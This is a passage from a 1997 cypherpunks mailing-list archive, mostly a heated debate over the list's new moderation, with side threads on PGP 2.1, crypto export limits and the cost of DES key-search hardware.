> such a large difference, I humbly suggest to you that you consider how
> much labels need to matter.  Is the title of the group more important
> the the content?  From where I sit, this looks a lot like a
> style-over-substance complaint.  Of course, I don't have my trifocals
> on just at the moment.

If it did not suit a specific purpose, they wouldn't have done it
that way.  You can take it to the bank that they did this because
it was the only way to keep the 1300-plus sheep subscribed to what
they wanted to be their "main" list.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Mon, 3 Feb 1997 09:24:10 -0800 (PST)
To: Larry Johnson <lwjohnson@grill.sk.ca>
Subject: Re: PGP 2.1
In-Reply-To: <199702031510.HAA25728@toad.com>
Message-ID: <v03007801af1bcb283e03@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


Of course, the mind-flayers of the NSA might have altered every version of
PGP 2.1! Let paranoia be your watchword...

I wouldn't be so quick to rule out the possibility of you being "a real
lamer," if I were you.

-Declan


Larry writes:

>Mark Henderson wrote:
>>
>> Larry Johnson writes:
>> > Hello,
>> > Can any;one tell me how to get a version of PGP 2.1?
>> > Thanks
>> >
>> But, why do you want version 2.1?
>
>Because the guy who wrote it was let off after that on his jail
>charges, so I'm not going to use anything he made after that if
>I don't know why.
>I'm not saying that he rolled over or nothin buyt I'm gonna be
>paranoyd like he said in the book. I dont suposse he'd mind,
>since he said it.
>I'm not real smart sometimes but I'nm not a real lamer, either.
>(I don't think)



-------------------------
Washington Correspondent
The Netly News Network
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "C. Kuethe" <ckuethe@gpu.srv.ualberta.ca>
Date: Mon, 3 Feb 1997 11:33:32 -0800 (PST)
Subject: Re: GAK cracking?
In-Reply-To: <199702031611.IAA26584@toad.com>
Message-ID: <Pine.A32.3.93.970203122040.44010A-100000@gpu5.srv.ualberta.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 3 Feb 1997, tmcghan@gill-simpson.com wrote:

> Just days after a U.S. graduate student cracked the most powerful
> computer encryption system allowed out of the country, the Commerce
> Department announced it would allow three companies to export an
> even stronger system. 

[snip]

> Companies said products with just 40-bit long keys, the old limit, 
> were too easy to crack. The approvals came just days after Ian Goldberg, a 
> graduate student at the University of California, cracked a message 
> encoded with a software key 40-bits long. 
> 
> The government did not name the companies given permission to export 
> stronger, 56-bit programs, but Glenwood, Md.,-based Trusted 
> Information Systems acknowledged that it was one of the three. 

Why does it not surprise me that TIS gets permission to export 56-bit (DES?) ?
They do key recovery (is it GAK?) They brag about government consulting. The
clients they will admit to having are listed on:
http://www.tis.com/docs/products/consulting/govt/govcon.html
and, purely unsubstantiated rumors here, but I've heard (seen) TIS, NSA, FBI 
and other  "friends" of ours all together in the same paragraph. Conspiracy?
Maybe... This is both good and bad.... yes, longer codes are now exportable,
but only to / by certain people?

I notice that the new cipher length is 56 bit...same size as DES? hopefully
that's just a coincidence (yeah, right) or maybe somebody's starting to see
the real world where people download pirate cryptosystems and says "so let's
export bigger ones and make a buck off it, too..." (yeah, right)


PLUR
chris
--
Chris Kuethe <ckuethe@gpu.srv.ualberta.ca> LPGV Electronics and Controls
        <c100305@wolfcreek.cs.ualberta.ca> http://www.ualberta.ca/~ckuethe/
RSA in 2 lines of PERL lives at http://www.dcs.ex.ac.uk/~aba/rsa/          
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>   
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Mon, 3 Feb 1997 09:49:14 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: swiss buy centralized euro-smartcard system
Message-ID: <Pine.SUN.3.95.970203125238.12641A-100000@viper.law.miami.edu>
MIME-Version: 1.0
Content-Type: text/plain


http://www.hotwired.com/staff/pointcast/Features/1814.html

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 3 Feb 1997 11:15:22 -0800 (PST)
To: pdh@best.com (Peter Hendrickson)
Subject: Re: Dissolving Choke Points
In-Reply-To: <v02140b05af1be4797ba0@[206.184.194.205]>
Message-ID: <199702031908.NAA04918@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


i do have unix (linux) and stuff, but i can't take a lot of subscribers
-- maybe 200-300 or so.

i actually wrote a proposal for a mailing list without a central control
point, with several advantages being impossibility of control, absense
of a single point of failure, and cryptographic verification of honesty 
of moderators.

if there is any interest, i will post it here.

igor

Peter Hendrickson wrote:
> 
> I was amused by the similarities of USG crypto policy and the
> moderation of the cypherpunks list.  Recently a number of new
> regulations were announced to go into effect by a certain date.
> Requests for comments were made after the policy was announced.  Many
> of us thought that was pretty sneaky.  I feel the same way about the
> moderation plan.
> 
> Moderation has been a failure.  I'm pretty good at filtering and I
> can sadly report that there is very little signal out there.
> 
> There are lessons to be learned here.  One is that censorship does
> not promote a stimulating and creative dialogue.  The cypherpunks list
> right now is about as interesting as hanging out by the 7-11.
> 
> Another lesson is the danger of choke points.  We can see how
> tempting it is for people to exercise their control.  Even John Gilmore
> was unable to restrain himself from involuntary social engineering
> experiments.  Who would we have considered to be more trustworthy?
> 
> Toad.com is a choke point, not just in terms of moderation but in
> terms of the rate at which it can distribute messages.  Let's
> replace it.
> 
> What we want are many machines carrying the cypherpunks list.  A
> message posted to any machine goes to all of the others.  Each
> machine sends messages to its subscribers only once.  Some of
> these machines should be across borders.
> 
> The mail loop and multiple posting problems are solved by observing
> the message IDs.
> 
> Fast implementation: use moderated mailing list software.  Put a
> filter in the .forward file of the "moderator" account which looks
> at the message ID and forwards the message if it hasn't been seen
> already.  The mailing list machines all subscribe each other.
> 
> I've been looking for a stable machine with a good net connection to
> do this.  I haven't found one.  However, if we have many machines
> sharing the load, the stability of any one unit is not as important
> because the list will survive multiple "hits".  Only the subscribers
> on one machine will be affected by having their messages delayed.
> This greatly reduces the work and responsibility for any one list
> operator.  (As John will attest, keeping a machine running 24 hours a
> day, 7 days a week, rain or shine, is a lot of work.)
> 
> Also, with multiple machines, each unit handles a small amount of the
> load.  This makes more machines available and has less impact on
> people's net connections.
> 
> Last I checked, there were about 1200 addresses on the mailing list at
> toad.com.  All we need are about 10 machines to take 120 subscribers
> each.  (This is a completely manageable load.)
> 
> Do you have a Unix machine on the Net?  Does it have sendmail and
> Perl?  Then you have all that it takes to participate.  Send me
> mail and I'll help you set it up.
> 
> Peter Hendrickson
> ph@netcom.com
> 
> P.S. I like and respect John and Sandy and I've learned a lot from
> both of them.  While basically well-intentioned, they just made a
> mistake in this instance.
> 
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 3 Feb 1997 11:15:22 -0800 (PST)
To: m5@vail.tivoli.com
Subject: Re: Fortune, 3 Feb
In-Reply-To: <32F60A0E.4DB0@vail.tivoli.com>
Message-ID: <199702031911.NAA04962@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Mike McNally wrote:
> 
> Big article in Fortune about e-mail privace.  One little paragraph
> about encryption ("scrambling").  Fairly clue-free overall, but
> entertaining.
> 

I found the article to be extremely silly, although it was probably
useful for "management".

Anyway, computer security is an oxymoron.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 3 Feb 1997 13:10:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation [Tim,Sandy]
Message-ID: <3.0.32.19970203131127.006e1280@192.100.81.136>
MIME-Version: 1.0
Content-Type: text/plain


At 12:28 PM 2/3/97 -0800, Peter Hendrickson wrote:
>At 11:38 AM 2/3/1997, Lucky Green wrote:
>> I am well aware of the name recognition and reputation capital associated
>> with CP, still I believe it best to *kill the list*.
>
>If you don't like the list, why not unsubscribe?

That won't solve the problem. The list has become counterproductive. It is
impossible for other lists to provide a real forum for the discussion of
the topics that this list used to be about while CP still exists. At the
same time, CP has long stopped providing such a forum. CP is draining
energy from its subscribers and the cause. Kill it! Kill it now!



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@MICROSOFT.com>
Date: Mon, 3 Feb 1997 13:16:47 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: My Departure, Moderation, and "Ownership of the List"
Message-ID: <c=US%a=_%p=msft%l=RED-81-MSG-970203211559Z-11503@INET-03-IMC.itg.microsoft.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Timothy C. May

With no false modesty I tried awfully hard to compose
substantive essays on crypto-political topics, often more than one per
day.
(Others did too, but they seem to be tapering off as well, leaving the
list
to be dominated by something called a "Toto," the "O.J. was framed!"
ravings of Dale Thorn, the love letters between Vulis and someone name
Nurdane Oksas, and the occasional bit of crypto news. Ho hum. I'm glad
I'm
not reading the list in e-mail, and thus can easily avoid replying to
these
inanities...
..........................................


Your thoughtful contributions to the list are missed, Tim.   As soon as
I realized that you had left the list I suspected it had something to do
with its moderation.

However, I must protest the inclusion of Toto's posts as one of the
"inane".    His posts were intentionally formulated to cause to stand
out what was, indeed, inane -  as he said, to "hold up a mirror".    And
he continually decried the list experiment, pointing out the
philosophical contradiction of a moderated "anarchist" forum.

If the antidote to bad speech is more speech, then he certainly provided
some, although not on the level or style as yourself.   And you may say
that some of these posts are not worth replying to, but didn't I see you
respond to one of Dale's, regarding a photo of Jessica-the-pilot which
he keeps above his desk?

   ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Blossom <eb@comsec.com>
Date: Mon, 3 Feb 1997 14:11:20 -0800 (PST)
To: PADGETT@hobbes.orl.mmc.com
Subject: Re: RC5-12/32/5 contest solved
In-Reply-To: <199701302229.OAA19293@toad.com>
Message-ID: <199702032135.NAA17688@comsec.com>
MIME-Version: 1.0
Content-Type: text/plain


A. Padgett Peterson P.E. Information Security apparently wrote:
> Have good reason to believe your estimate for a purpose built machine this
> year (expect 600,000,000 to 1,000,000,000 kps per sieve - these will not 
> be cheap chips but will be commecially available). Expect 400 arrays
> would be required to do DES in a day (average) but is a lot more
> achievable than the 65k postulated by the gang of nine.

I received a nice flyer in the mail the other day from "Chip Express"
(www.chipexpress.com, 800-95-CHIPX). They are offering Laser
Programmed Gate Arrays.  It appears to be a reasonable way to get some
Wiener chips built.  As I recall, the Wiener design required about
23,000 gates.  Their blurb had the following table in in:

  FPGA Gates  ASIC Gates  500 Units  1000 Units  5000 Units
    40,000      20,000      $77        $45         $10
   Not Avail   200,000     $176       $150         $82

So it appears that you can get 5000 Wiener key search chips build for
about $50K.  I'm not sure about the speed, but I wouldn't be surprised
if you could clock these at 50 MHz.  The Wiener design is pipelined
and searches one key per clock, so each chip could search 50e6 keys /
second.  50e6 * 5000 = 250e9 keys / second for $50K

Happy Hunting...

Eric




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Mon, 3 Feb 1997 13:44:20 -0800 (PST)
To: Duncan Frissell <frissell@panix.com>
Subject: Govt & cyberspace
In-Reply-To: <199702021510.HAA24723@toad.com>
Message-ID: <199702032143.NAA12677@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



DF raises the question of whether the IRS will be able to 
modernize in the lack of "intellectual capital" (i.e. brains).
This is actually a very interesting topic which I've not
seen a lot of analysis on elsewhere, but which I expect
to see a lot more in the future.

the basic issue is this: private industry is moving into
cyberspace at a lightening pace. yet the government is
painfully incapable of doing the same for reasons of bureacracy.
numerous articles have been documenting the inability of the
government to successfully pull of massive software and
hardware upgrade projects. 

I suspect it will only be a matter of time before this is
called a major "crisis" by politicians and milked for all
of its conceivable tax value. eeks.

I've seen a lot of articles about govt agencies in a 
computational crisis due to this problem. maybe someone
can come up with a cute tag item. "technology envy" maybe?
I read about how the FAA was trying to install a new flight
control system that's insanely over budget and lightyears
from a conceivable completion.

another *major* computation problem is the year 2000
crisis. private companies can barely get it together to
do the upgrading and investigation required to fix the
2000-flip problem. the government is even farther behind.
if there is going to be a year 2000 "crisis" due to the
millenium bug, I suspect much of it will be focused in
government agencies.

"tech envy"-- what impact is this going to have on our
government? it's becoming a huge issue. it may be a 
really great opportunity for a populist movement to
truly reform the government in the process of upgrading
their computers. I suspect that the "groupware" technology
that is just getting started will have major influence
in these areas. as private companies find increasingly
sophisticated ways of managing themselves, the obvious
question will arise, "why can't we have an efficient govt
when our private industries are"? the answer is, we
can!!

I've written about "electronic democracy" repeatedly. many
people object to the idea. but when it is phrased in terms
of groupware, it becomes more palatable. imagine a small
company humming along with its groupware application that
allows it to make company-wide decisions using a democratic
process. moreover, the software is robust and scales well.
why can't the same principles be scaled up, up, up? I predict
that they will be in a rather extraordinary revolution.

a new "velvet revolution"? comments anyone?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pdh@best.com (Peter Hendrickson)
Date: Mon, 3 Feb 1997 13:53:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Information Warfare
Message-ID: <v02140b0aaf1c0c8fe705@[206.184.194.205]>
MIME-Version: 1.0
Content-Type: text/plain


The cypherpunks list has been under "attack" for some time.  How have
we managed it?  Very poorly in my view.

Some people have dismissed the idea that rogue governmental elements
are behind some of our problems.  Yet, there is no reason to rule
out this hypothesis.

The government has not always behaved well with regards to its
perceived enemies in the last few decades.  The FBI seems to
infiltrate everything - even churches!.  This is well documented.

The CIA has worked hard on disrupting various political movements of
which it did not approve using provocateurs and other conspiratorial
dirty tricks.  (I believe the FBI has, too, but I do not recall any
documentation offhand.)

We know that "Information Warfare" is the big thing in the defense
establishment right now.  It's all over their web pages.  We see
articles from the Kennedy School which seem to compare free speech
with disease. Etc. Etc.

We also believe that the things the Cypherpunks are interested in are
on the radar screen.  Maybe the Cypherpunks are, too.

Is it unreasonable to ask whether some people are getting funding to
experiment with disrupting "groups" like the Cypherpunks?  I can
easily picture people inventing all sorts of important sounding words
like "psy-op" for what is little more than rudeness.

Whatever the cause of the disruptions, the solutions are the same.

Most of the proposals I've been hearing have to do with controlling
the behavior of other cypherpunks and creating more structure.  This
is a mistake.

It's clear that even the definitions of "spam" and "flame" are hard to
nail down.  The next idea will be to moderate on the basis of content.
How will we decide what is content?  Clearly that's much too important
a question to leave to just one person.  What we need is a committee
to decide!  What's next?  Robert's Rules of Order?

All of this detracts from the work we have before us.  If you've ever
been involved with a non-profit organization, you will know that
enormous energy is spent on internal political scheming.  That's a
boring waste of time.

Let's go down a better path.  Let's think about the best way for each
cypherpunk to manage disruptions.  Please consider these suggestions:

1. Filter noise.

I filter based on origin.  If a kill file doesn't work, use a positive
filter to read messages only from people who are worthwhile.  It has
been suggested that this doesn't work because some people post
garbage, but also occasionally post something good.  There's gold in
the ocean, too.  Why don't we retrieve it?

If you don't want to manage a filter yourself, find somebody to do it
for you.  A number of people offer filtering services.

Remember that in an open forum, noise increases with signal.  The more
worthwhile and interesting threads are on the list, the more worthless
postings we are going to see, particlarly when people are consciously
disruptive.

2. Post signal.

Filters are useless when there is no signal.  Signal comes from
cypherpunks.  You are a cypherpunk.

3. Birds of a feather flock together.

When you respond to somebody, you mingle your on-line identity with
theirs.  Fly with the eagles.

Peter Hendrickson
ph@netcom.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Mon, 3 Feb 1997 13:43:39 -0800 (PST)
To: Blanc Weber <cypherpunks@toad.com>
Subject: RE: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <c=US%a=_%p=msft%l=RED-81-MSG-970203211559Z-11503@INET-03-IMC.itg.microsoft.com>
Message-ID: <v03007803af1c0a2f895e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 1:15 PM -0800 2/3/97, Blanc Weber wrote:

>Your thoughtful contributions to the list are missed, Tim.   As soon as
>I realized that you had left the list I suspected it had something to do
>with its moderation.
>
>However, I must protest the inclusion of Toto's posts as one of the
>"inane".    His posts were intentionally formulated to cause to stand
>out what was, indeed, inane -  as he said, to "hold up a mirror".    And
>he continually decried the list experiment, pointing out the
>philosophical contradiction of a moderated "anarchist" forum.

Well, "Toto" wrote in a style I found hard to grasp, and his/her/its points
were often lost to me. But I was only scanning the list via the hks.net
archive site, and so may have missed the subtleties.

One way thoughtful posts get "absorbed" is when others quote them (or the
parts they like best, disagree with, etc.). This gives people a second or
third look. (And, of course, when one _replies_ to a post this is how it
gets read most carefully.)

I saw few people I respect a lot replying substantively to the posts of
some of these people who seemed to dominate the list in the last month, and
of course I myself did not reply to any of them, so whatever points they
were making were lost on me.

>If the antidote to bad speech is more speech, then he certainly provided
>some, although not on the level or style as yourself.   And you may say
>that some of these posts are not worth replying to, but didn't I see you
>respond to one of Dale's, regarding a photo of Jessica-the-pilot which
>he keeps above his desk?

Sure, but that was months ago. In any case, I didn't say Dale nor Toto nor
anyone else should be shunned; I posted when I felt like it.

Nor of course have I ever argued for censoring Toto or Dale or anyone else.
My point to Sandy was just that the new censorship policy was still clearly
letting a lot of crap^H^H^H^H "piffle" (a Sandy-used and hence
Sandy-approved synonym for "cr*p") through, and that certain folks were
issuing lots and lots of rants and raves.

Personally, I think "flames" are not the problem. Not flames from obviously
thoughtful folks who are angered or peeved about something. The "flames"
posted by bots--targetted at me, usually--were not especially helpful, but
I see nothing wrong with, say, Hallam-Baker flaming Bell. Or vice versa.
Flames and intense argument are often useful in explicating hard
subjects...and who can deny that Bell's ideas are controversial and may
generate intense opinions?

To expunge the list of Vulis' ASCII art and "Timmy May was born on a toilet
as the spawn of a dandruff-covered Armenian tchurka and his nekulturny
peasant mother" bot-generated insults we have apparently now gotten a list
where Lord Sandy apprises us that he almost rejected my long,
carefully-constructed essay because I committed the NewCyphepunk (TM) sin
of referring to Toto, Dale, Dimitri, and Nurgaine in unflattering ways.

Like I said, "fuck that."

Or, more politely, it's throwing the baby out with the bathwater. Not to
mention sending the strong message that "Even Cypherpunks gave up their
experiment with anarchy and now have a moderator deciding what the main
list is permitted to read."

Far too high a price to pay for the "comity" Sandy craves.

(And if Sandy wants comity and good cheer, let him either form his own list
or establish a filtered list just the way Blossom and Arachelian did.
Hijacking the list to reform it in his own image is dirty pool.)

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marcus Butler <marcusb@wspice.com>
Date: Mon, 3 Feb 1997 11:58:17 -0800 (PST)
To: Larry Johnson <lwjohnson@grill.sk.ca>
Subject: Re: PGP 2.1
In-Reply-To: <199702031510.HAA25728@toad.com>
Message-ID: <Pine.LNX.3.95.970203134740.27081A-100000@wsp1.wspice.com>
MIME-Version: 1.0
Content-Type: text/plain




On Mon, 3 Feb 1997, Larry Johnson wrote:

> Mark Henderson wrote:
> > 
> > Larry Johnson writes:
> > > Hello,
> > > Can any;one tell me how to get a version of PGP 2.1?
> > > Thanks
> > >
> > But, why do you want version 2.1?
> 
> Because the guy who wrote it was let off after that on his jail 
> charges, so I'm not going to use anything he made after that if
> I don't know why.
> I'm not saying that he rolled over or nothin buyt I'm gonna be
> paranoyd like he said in the book. I dont suposse he'd mind,
> since he said it.
> I'm not real smart sometimes but I'nm not a real lamer, either.
> (I don't think)

 Phillip Zimmerman never went to jail.  He was just under investigation.
If you are going to be that paranoid about things, you should not use
anything you did not write yourself, afterall, even the cypherpunks list
could be an elaborate government scheme to lull people into using PGP and
similar technologies (JJ).  Go get the source code if you are concerned
about it.

 Marcus





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Mon, 3 Feb 1997 14:04:55 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <199702030325.TAA09985@toad.com>
Message-ID: <199702032204.OAA24923@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



<* The mechanics of the announcement troubled me greatly. To be blunt, I was
<seething with anger. I was mightily annoyed to read that John had made a
<decision to appoint Sandy as his Moderator, with no discussion on the list.
<I don't know if Eric Hughes and Hugh Daniel were asked their opinions, but
<I certainly know I was not. I feel that as one of the two or three
<founders, depending on how one is counting, and as a frequent contributor
<to the list since its inception, and so on, I (and others) should at least
<have been told of this plan. Better yet, have the plans discussed on the
<list, as some good ideas may have been generated.

hi timmy, a word to the wise: it amuses me that whenever I referred
to a cypherpunk "community" my eyebrows were flamed off, by people
who claimed there was no such thing. a community has certain properties,
many of which I believe the cypherpunks "crowd" has always lacked.

one aspect of the "crowd" that is lacking is LEADERSHIP. I have pointed
this out again and again. the cpunks believe that leadership is no
longer relevant in a digital society, somehow. the list is in the
shape it is in because of POOR LEADERSHIP.. neither you nor EH care
about what LEADERSHIP entails, or wish to exert the sacrifices that
it requires. hence, you have, and have always had, a LEADERSHIP VACUUM.
and now you are "mightily annoyed", "pissed off" etc. that as a
"founder" you were not consulted? you weren't consulted because you
weren't a leader in the true sense of the word. are you in or out?

imho leadership does not merely entail writing posts and having a
completely laissaiz fair attitude about every single issue under the
sun, particularly those of dear importance to the list, such as how
to deal with crappy signal to noise ratios, intentional provocateurs,
people who seem to have ulterior agendas, etc.

I think it is highly amusing for you to get a lesson about how your
views about "anarchy" really work out. what does this anarchy thing
mean, anyway? is someone else taking over the list your idea of
what is represented by anarchy?   imho anarchy is a power vacuum
in which the events which have transpired, and that you perceive
as unpalatable to say the least, are inevitable.

<I'll have more to say about my problems with how things were handled.
<Frankly, it smacked of the same kind of fait accompli decision John made
<with the unsubscribing of Vulis. While John had (and has) every legal right
<to do with his property as he wished, the effect was very negative. First,
<Vulis found other ways to post (duh). Second, the list was consumed with
<flames about this, many from Vulis, and many from others. Third,
<journalists (who love sizzle over substance any day of the week) lept into
<the fray with articles which gave Vulis the publicity he craved. Fourth, it
<sent a message to enemies of liberty that "Even the Cypherpunks have found
<it necessary to abandon their anarchic ways."

"enemies of liberty"? hee, hee. anarchy was not a practical way of
running the list, and never has been, and now that the REALITY of the 
situation is PROVING this to you in an inescapable existence proof,
you find it impossible to confront the obvious message. timmy, a little
tip: anarchy, as you seem to conceive it, doesn't scale well, 
and both usenet and the cypherpunks list are eminent evidence of this.

<(I'm well aware of the issues with pests like Vulis, who seek to destroy
<virtual communities like ours. But the solution John used did not work, and
<generated more crap. As you all should know, it was John himself who coined
<the wonderful saying, "The Net interprets censorship as damage and routes
<around it." A delicious irony.)

which should encourage people to understand that there is a subtle 
difference between censorship and moderation.. or does the distinction
elude you? is there a difference in your opinion? you have plenty
of financial resources to start a mailing list of your own, what makes
you think it would be any more orderly than the one that is being run
here? in fact, do you understand how "anarchy" and "order" are mutually
exclusive, now that your own reality is shouting it to you?

<* The proper solution to bad speech is more speech, not censorship.

ah, so everyone should post 5 messages to the list, instead of 1, and
those that are quite should post 3. quite an elegant solution. do you
see how the silly rhetoric fails to hold up in reality? when will you
get a clue about where your own views are really leading you?

<* OK, even given that John had decided to censor "his" list, what about his
<choice of Sandy Sandfort as the censor? 

"moderator"-- does the word mean anything to you?

<(I count Sandy as a friend, but I'm just being honest here. Sandy is just
<not a "Peter Neumann" (moderator of the "RISKS" list).

you were free to propose another  moderator. moderation is hard work.
it takes a lot of time. who volunteered other than sandy?

<* I would have had no problem had John announced that he was creating a new
<list, the "Good Stuff" list, with Sandy has his Chooser of Good Stuff.
<After all, both Eric Blossom and Ray Arachelian already offer just such
<lists, and more would not hurt.
<
<But by making the _main list_ the censored one, this skewed things
<considerably.

anyone is free to subscribe to any list they choose, including the unfiltered
one. how is the reality different than that which you write? are you suggesting
that people are too lazy to make a coherent choose on their own? who
are you to argue with what everyone themself chooses?

<* The decision to "moderate" (censor) the Cypherpunks list is powerful
<ammunition to give to our opponents, and Vulis is certainly gleeful that
<his fondest wishes have been realized. And it won't work. People are
<consuming even more bandwidth arguing the merits of John's decision, the
<traffic is presumably being slowed down by the need for Sandy to wade
<through the traffic and stamp "Approved" or "Rejected" on what he glances
<at, and people are "testing the limits" of what they can say and what they
<can't say.

what's a better solution, in your opinion, besides ignoring it all and
pretending there is no problem?

<In any case, my several years with the list have taken a huge amount of my
<time. Given the way this whole thing was handled, and the way the list is
<degenerating even further, it looks like it's good that I'm moving on to
<other things.

ah, quite convenient excuse to bail out when no elegant solution seems
possible. blame all the problems on faux-reasons rather than an opportunity
for soul-searching.

<- the decision to censor the list was made without any discussion on the
<list, without any discussion with at least some of the longterm core
<contributors, and was presented as a "fait accompli."

by their own construction, all insisted that everyone be treated 
identically on the list, and that no such distinction be made about
"longterm core contributors"


but thanks for showing up and clarifying your position, timmy. what
a tragedy not to routinely see your smiling face here. I for one
have "taps" playing on my computer whenever I read the list as
a suitable memorial to your past greatness. viva la cypherpunks!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pdh@best.com (Peter Hendrickson)
Date: Mon, 3 Feb 1997 14:19:41 -0800 (PST)
To: Lucky Green <cypherpunks@toad.com
Subject: Re: Moderation [Tim,Sandy]
Message-ID: <v02140b0caf1c125b43dc@[206.184.194.205]>
MIME-Version: 1.0
Content-Type: text/plain


At 1:12 PM 2/3/1997, Lucky Green wrote:
>At 12:28 PM 2/3/97 -0800, Peter Hendrickson wrote:
>>At 11:38 AM 2/3/1997, Lucky Green wrote:
>>> I am well aware of the name recognition and reputation capital associated
>>> with CP, still I believe it best to *kill the list*.

>> If you don't like the list, why not unsubscribe?

> That won't solve the problem. The list has become counterproductive. It is
> impossible for other lists to provide a real forum for the discussion of
> the topics that this list used to be about while CP still exists. At the
> same time, CP has long stopped providing such a forum. CP is draining
> energy from its subscribers and the cause. Kill it! Kill it now!

Who should do what to comply with your proposal?  Should John shut down
the list?  Are you asking everybody to unsubscribe?

I don't think "killing the list" is an option for you or anybody else.
The List transcends all domains.

Peter Hendrickson
ph@netcom.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Mon, 3 Feb 1997 14:24:34 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Filling Power Vacuums
In-Reply-To: <199702032011.MAA01084@toad.com>
Message-ID: <199702032224.OAA00880@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



timmy writes:

<It's about "power grabs."
<
<You see, in any anarchic situation, where reliance on self-control and
<self-filtering is emphasized, there is always a _temptation_ for some to
<"fill the power vacuum" and grab power.

ah, so what's the solution?

<I learned in my years at Intel how easy it was to start bossing people
<around, and as I hired engineers and scientists, I built up quite a little
<empire. But I didn't like what it was doing to me, as it distanced me from
<the technology and also brought out "control freak" tendencies....I started
<worrying about how my people were using their time ("my" time), and I
<increasingly applied my own notions of what they should talk about and what
<were suitable topics for laboratory chatter. In other words, I became a
<censor. (Not a government censor, but a censor in the broader definition
<I've already cited.)

timmy, I encourage you to understand that leadership is not 
inherently evil. there are enlightened ways to lead people that
leave the group better as a whole. you just fell into the trap
of "negative leadership", the dark side of the force as you write.
imho, however, there is a light side of the force that still involves
leadership.

<(I accept the role hierarchies play in corporations. They can't be built
<with just people like me. They need leaders, controllers, power freaks,
<etc.

oops, a little bit of a glaring logical error there imho. leadership is not
equivalent to a hierarchy imho. admittedly, it often translates that
way. 

 But a virtual community like the Cypherpunks group is not such a
<heirarchical organization, and it needs few rules, leaders, etc. "We don't
<need no steenking leaders.")

yes, if you only want to be an ineffectual debate society with no
significant power whatseover.

<As this relates to Cypherpunks, I have steadfastly refused to consider any
<"management role," so to speak, in how the list is run, the formal
<policies, etc. I'm not saying there has been a call for management (though
<Detweiler used to rail against us for not having a management heirarchy,
<for not having rules and democratic procedures for "making decisions"),
<just that the power vacuum in anarchies such as ours is often an open
<invitation for someone to step in and "provide structure and guidance." I
<resisted any thoughts of doing this, and argued against this sort of thing
<whenever the topic came up in conversation. I chose to lead only by the
<posts I wrote and the ideas I worked on.

heh. perhaps "leadership" involves more than posting. perhaps there
is a way to have "leadership" without hierarchy. perhaps "leadership"
is not equivalent to "management". perhaps sometimes
you win by losing, and lose by winning. perhaps water is so powerful
because it is lower than all that which it flows around.

<Now, of course, the message is being sent that Sandy Sandfort is in some
<sense the de facto leader, being that he determines what traffic goes out
<to the main list and what traffic gets bounced into the flames list. In
<fact, I'll make a prediction: The media will see that he is the chief
<censor and arbiter of worthiness and will increasingly contact him for the
<Official Point of View on various items they are interested in.

timmy, why are you so upset about the media angle? why do you give the
slightest damn what the media thinks? answer: because you want to be
the one they call when they want to know what the cypherpunks think.
you want them to pay attention to the cypherpunks. in short, you would
like to have the glamor of a leader, without any of the responsibility.

